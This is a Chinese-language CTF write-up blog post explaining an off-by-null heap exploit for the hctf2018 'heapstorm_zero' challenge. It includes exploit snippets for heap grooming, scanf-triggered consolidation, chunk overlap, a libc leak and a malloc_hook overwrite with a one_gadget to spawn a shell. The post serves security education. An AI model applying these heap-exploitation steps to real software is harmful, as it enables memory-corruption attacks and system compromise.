off by null实战

2018-12-12 4,738

前言

off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波。

相关文件(exp, 题目)位于

https://gitee.com/hac425/blog_data/blob/master/off_by_null/

注:为了调试的方便,修改了一些代码。

原始题目链接:https://github.com/veritas501/hctf2018


程序分析

直接拿源码分析,程序是一个比较简单的菜单程序

int main(void){
    init();
    while(1){
        switch(menu_getinput()){
            case 1:{
                Allocate();
                break;
            }
            case 2:{
                View();
                break;
            }
            case 3:{
                Delete();
                break;
            }
            case 4:{
                puts("Bye!");
                exit(0);
            }
            default:{
                puts("Invaild choice!");
            }
        }
    }
    return 0;
}

首先初始化一些东西,比如随机 mmap 一块内存用来存放指针之类的。然后提供三个选项供用户选择。


init

看看 init 函数。

  return 0;
}

blog20181118161339.png


分配一块内存,然后生成一个随机秘钥,秘钥的作用是把程序分配的内存的指针异或加密一下。

Allocate

blog20181118161858.png

首先让用户输入一个 size , 然后判断 size 最大只能为 0x38 , 这意味着我们只能分配 fastbin的 chunk. 分配好内存后,会读入数据到里面,这时候会有一个 \x00 字节的溢出。


View

就是把指针解密出来,然后用 printf 打印内容。


Delete

解密出指针,然后释放掉,同时把相关的项设置为初始状态。

blog20181118162457.png

总结一下程序的功能。

  • 我们最多只能 malloc(0x38) 即 0x40 大小的 chunk.

  • 有一个 打印 chunk 内容的函数。

  • 分配时可以 off by null.


利用分析

简述

一字节溢出的利用围绕着的是 堆块在分配,释放,合并时对 chunk 的 size 域的信任关系。而如果只是 fastbin 的话 off by null 是没法利用的,因为只要溢出就会把 size 设置为 0.

这里有一个 tips , 使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存。

在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配。

于是利用 scanf 能分配大内存的特性,我们可以触发 堆合并,然后让 fastbin 合并成一个smallbin , 然后在触发 off-by-null , 就是常规的利用思路了。

信息泄露

首先分配 12 个 chunk, 其中 第一个 和最后一个保留, 第一个 chunk 用于 触发 off-by-null , 最后一个用于防止在 堆合并时与 top_chunk 进行合并。

add(0x38, 'a')  # 0
add(0x28, 'a')  # 1
add(0x28, 'a')  # 2
add(0x18, 'a')  # 3
add(0x18, 'a')  # 4
add(0x38, 'x')  # 5
add(0x28, 'x')  # 6
add(0x38, 'x')  # 7
add(0x38, 'x')  # 8
add(0x38, 'x')  # 9
pay = 'a' * 0x20 + p64(0x200) + p64(0x20)  # shrink chunk 前,配置好
add(0x38, pay)  # 10
add(0x38, 'end')  # 11  , 保留块, 防止和 top chunk 合并

然后把中间的 10 个 chunk 释放掉,同时触发 堆合并,构造一个 0x210 大小的 smallbin

# 释放掉 chunk
for i in range(1, 11):
    dele(i)
# 利用 scanf 分配大内存 0x400+ , 会触发堆合并
# fastbin 会合并进入 smallbin
triger_consolidate()

函数 triger_consolidate 的逻辑就是发送 0x400 的字符串给 scanf 处理,然后 scanf 会分配大内存,触发 堆合并。

此时的内存布局如下

blog20181118175639.png

图中特殊标出的 0x200 | 0x20 用于保证后续利用过掉 check.

然后利用 chunk 0 , 溢出 一字节的 \x00 , 修改下面那个 smallbin 的 size ---> 0x200

# 利用 chunk 0 , 溢出 一字节的 \x00 , 修改 size ---> 0x200
dele(0)
pay = 'a' * 0x38
add(0x38, pay)  # 0

紧接着在这个剩下的 0x200 字节的 smallbin 里面分配 8 个 chunk , 然后利用同样的方法,在里面构造一个 smallbin .

add(0x38, 'a' * 8)  # 1
add(0x38, 'b' * 8)  # 2
add(0x38, 'c' * 8)  # 3
add(0x38, 'x')  # 4
add(0x38, 'x')  # 5
add(0x28, 'x')  # 6
add(0x38, 'x')  # 7
add(0x38, 'x')  # 8
# 利用 大量的 fastbin + 堆合并 构造 smallbin , 大小 0xc0
dele(1)
dele(2)
dele(3)
triger_consolidate()


blog20181118181756.png

下面释放掉 chunk 11

# 触发 overlap
dele(11)
triger_consolidate()

系统发现 chunk 11 的 pre_size 为 0 ,即表明前一个 chunk 是释放状态,同时 chunk 11 和top_chunk 相邻,所以 即使 chunk 11 的大小在 fastbin 的范围内也会触发合并操作,于是会通过 chunk 11 的 pre_size ( 0x210 ) 找到上面那个 smallbin 的起始地址。

然后对 smallbin 做 unlink 操作, 此时 smallbin 已经在链表上,所以 unlink 可以通过,拆下来后进行合并, 合并之后形成了一个大 chunk.

blog20181118182800.png

这个 chunk 会继续和 top_chunk 合并变成 top_chunk 的一部分。注意到此时 chunk4 - chunk8已经落入 top_chunk 里。

接下来通过类似的方法,分配多个 chunk , 然后释放掉中间的一些的 chunk , 然后出发堆合并,构造一个比较大的 smallbin.

add(0x28, 'a')  # 1
add(0x28, 'a')  # 2
add(0x18, 'a')  # 3
add(0x18, 'a')  # 9
add(0x38, '1' * 0x30)  # 10
add(0x38, '2' * 0x30)  # 11
add(0x28, '3' * 0x30)  # 12
add(0x38, '4' * 0x30)  # 13
add(0x38, '5' * 0x30)  # 14
pay = 'a' * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay)  # 15
add(0x38, 'end')  # 16
dele(1)
dele(2)
dele(3)
for i in range(9, 16):
    dele(i)
triger_consolidate()

此时的内存状态如图

blog20181118183509.png

此时 chunk 4 - chunk 8 落入了新构造的 smallbin 里面。下面通过 不断的分配,会对这个smallbin 进行切割,这个过程就会使得 一些链表用的指针落入到 还处于 使用状态的chunk4 - chunk8 的某一个 chunk 里面, 然后利用 puts 功能,就可以打印指针的内容,造成信息泄露, 拿到 libc 的地址。

blog20181118184452.png

getshell

能够 overlap chunk 后实现 getshell 的方式就很多了,下面 分析下 exp 的 getshell 方案

blog20181118185236.png


  • 利用 overlap chunk 和 fastbin 的机制往 main_arena 写 size (0x41)

  • 然后利用 fastbin attack 控制 main_arena->top

然后就可以分配到 malloc_hook 附近,修改 malloc_hook 为 one_gadget.

最后利用 malloc_printerr 触发 one_gadget

# 此时 chunk 6 和 chunk 8 在 tbl 的指针一样,触发 double free
# malloc_printerr ---> malloc_hook ---> getshell
dele(6)
dele(8)

blog20181118185514.png

另一种布局

为进一步理解 off by null , 下面以另一个 exp的信息泄露过程为例介绍下堆的布局

来源:https://xz.aliyun.com/t/3253#toc-2

首先分配若干个 chunk , 释放掉其中的第一个 chunk ,利用 scanf 触发堆合并构造 smallbin

add(0x18, "AAA\n")
    for i in range(24):
        add(0x38, "A" * 8 + str(i) + "\n")
    free(0)
    free(4)
    free(5)
    free(6)
    free(7)
    free(8)
    free(9)
    # 触发堆合并, 构造 2 个 , smallbin
    sla("Choice:", "1" * 0x500)

此时 chunk 10 的 pre_size 为 0x180 , pre_inused = 0.

blog20181118211819.png

图中颜色定义如下

blog20181118212023.png

然后分配一 0x40  chunk , 此时会用 0x180 大小的 smallbin 分配,分配后应该剩下 0x140大小的 unsorted bin (bin 切割后会保存在 unsorted bin ) , 然后利用 off by null , 修改unsorted bin 的大小为 0x100. 此时会出现 0x40 的空隙。

    # 分配比较大的内存,使用较大的 smallbin , 分配完后利用 off by null
    # shrink unsorted bin 的大小
    add(0x38, "B" * 0x30 + p64(0x120))

blog20181118212320.png

下面在分配两个 chunk (4 5) , 然后释放 chunk 4 , 在利用 堆合并 将 fastbin 放入 smallbin.

  # 构造 smallbin 为 合并时的 unlink 做准备
    add(0x38, "C" * 0x30 + p32(0x40) + '\n')  # 4
    add(0x38, "P" * 0x30 + '\n')  # 5
    free(4)
    # 触发堆合并,形成 smallbin
    sla("Choice:", "1" * 0x500)

blog20181118213202.png

然后把 chunk 10 释放掉, 此时系统根据 chunk 10 的 pre_size 找到 smallbin 的位置进行合并, 由于 smallbin 此时已经在链表中,所以可以成功完成合并过程中的 unlink 操作, 然后会得到一个很大的 smallbin.

 # 释放 chunk 10, 同时触发堆合并,形成 overlap chunk , 测试 chunk 5 被 overlap
    free(10)
    sla("Choice:", "1" * 0x500)

此时的内存布局如下图。

blog20181118213547.png

通过合并我们得到了一个 0x180 大小的 smallbin , 在这个大 smallbin 里面有一个还在使用的chunk 5 , 同时还有之前分配剩下的 0x80 大小的 smallbin. 这样我就得到了 overlap heap.

下面新建 3 个 chunk.

add(0x38, "DDD\n")  # 4
add(0x38, "KKK\n")  # 6
add(0x38, "EEE\n")  # 7

由于malloc 分配内存的机制,会先从 0x80 的 smallbin 里面分配,然后才会去 0x180 的smallbin 分配,所以内存布局如图。

blog20181118213947.png

分配完成后 chunk 5 变成了 0x140 大小的 unsorted bin 的起始位置,于是可以利用 Puts 功能把 unsorted bin 的 指针打印出来, leak libc。


参考

https://github.com/veritas501/hctf2018/blob/master/pwn-heapstorm_zero/exp.py

https://xz.aliyun.com/t/3253#toc-2


Tags:
评论  (0)
快来写下你的想法吧!

hackedbylh

文章数:8 积分: 156

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号